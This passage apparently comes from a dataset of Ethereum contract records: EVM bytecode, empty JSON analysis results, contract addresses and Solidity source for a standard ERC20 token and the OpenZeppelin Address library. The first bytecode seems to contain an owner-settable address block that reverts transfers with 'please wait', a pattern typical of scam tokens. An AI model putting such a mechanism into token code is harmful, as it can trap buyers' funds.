fffffffff16145b15610a875782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b4c565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610b9e82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c7082600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d4282600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eab57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461104757600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111465780601f1061111b57610100808354040283529160200191611146565b820191906000526020600020905b81548152906001019060200180831161112957829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611214576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61126682600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461172a90919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112fb82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174490919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561156e578082015181840152602081019050611553565b50505050905090810190601f16801561159b5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156115bd57600080fd5b505af11580156115d1573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116e657600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561173957600080fd5b818303905092915050565b600081830190508281101561175857600080fd5b9291505056fea265627a7a723158208d4968464facf91b85ef03d8fdd3e744b1d6bca5417ebaeafd131fbbe5e7cf9564736f6c63430005110032
{"success": true, "error": null, "results": {}}
7,347
0x3546598711afb59db4b72aec8f29d35294c5d2ed
pragma solidity ^0.4.21; // File: contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } } // File: contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract TFTOKEN is StandardToken, Ownable { // Constants string public constant name = "JLG"; string public constant symbol = "GSG"; uint8 public constant decimals = 4; uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals)); mapping(address => bool) touched; function TFTOKEN() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } function _transfer(address _from, address _to, uint _value) internal { require (balances[_from] >= _value); // Check if the sender has enough require (balances[_to] + _value > balances[_to]); // Check for overflows balances[_from] = balances[_from].sub(_value); // Subtract from the sender balances[_to] = balances[_to].add(_value); // Add the same to the recipient emit Transfer(_from, _to, _value); } function safeWithdrawal(uint _value ) onlyOwner public { if (_value == 0) owner.transfer(address(this).balance); else owner.transfer(_value); } }
0x6060604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100eb578063095ea7b31461017957806318160ddd146101d357806323b872dd146101fc5780632ff2e9dc14610275578063313ce5671461029e5780635f56b6fe146102cd57806366188463146102f057806370a082311461034a578063715018a6146103975780638da5cb5b146103ac57806395d89b4114610401578063a9059cbb1461048f578063d73dd623146104e9578063dd62ed3e14610543578063f2fde38b146105af575b600080fd5b34156100f657600080fd5b6100fe6105e8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013e578082015181840152602081019050610123565b50505050905090810190601f16801561016b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561018457600080fd5b6101b9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610621565b604051808215151515815260200191505060405180910390f35b34156101de57600080fd5b6101e6610713565b6040518082815260200191505060405180910390f35b341561020757600080fd5b61025b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061071d565b604051808215151515815260200191505060405180910390f35b341561028057600080fd5b610288610ad7565b6040518082815260200191505060405180910390f35b34156102a957600080fd5b6102b1610ae8565b604051808260ff1660ff16815260200191505060405180910390f35b34156102d857600080fd5b6102ee6004808035906020019091905050610aed565b005b34156102fb57600080fd5b610330600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c36565b604051808215151515815260200191505060405180910390f35b341561035557600080fd5b610381600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518082815260200191505060405180910390f35b34156103a257600080fd5b6103aa610f0f565b005b34156103b757600080fd5b6103bf611014565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561040c57600080fd5b61041461103a565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610454578082015181840152602081019050610439565b50505050905090810190601f1680156104815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049a57600080fd5b6104cf600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611073565b604051808215151515815260200191505060405180910390f35b34156104f457600080fd5b610529600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611292565b604051808215151515815260200191505060405180910390f35b341561054e57600080fd5b610599600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061148e565b6040518082815260200191505060405180910390f35b34156105ba57600080fd5b6105e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611515565b005b6040805190810160405280600381526020017f4a4c47000000000000000000000000000000000000000000000000000000000081525081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561075a57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107a757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561083257600080fd5b610883826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610916826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506109e782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460ff16600a0a633b9aca000281565b600481565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4957600080fd5b6000811415610bd057600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f193505050501515610bcb57600080fd5b610c33565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610c3257600080fd5b5b50565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d47576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ddb565b610d5a838261166d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f6b57600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a26000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f475347000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110b057600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156110fd57600080fd5b61114e826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461166d90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e1826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061132382600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461168690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561157157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156115ad57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600082821115151561167b57fe5b818303905092915050565b6000818301905082811015151561169957fe5b809050929150505600a165627a7a72305820395b8720f750c93983fdd5003aaa89fd0a089a516bb7b3355d109cbc0c911b2e0029
{"success": true, "error": null, "results": {}}
7,348
0x927e1c4345b1bf94cb874a19d4c9091f07327ba0
//SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from 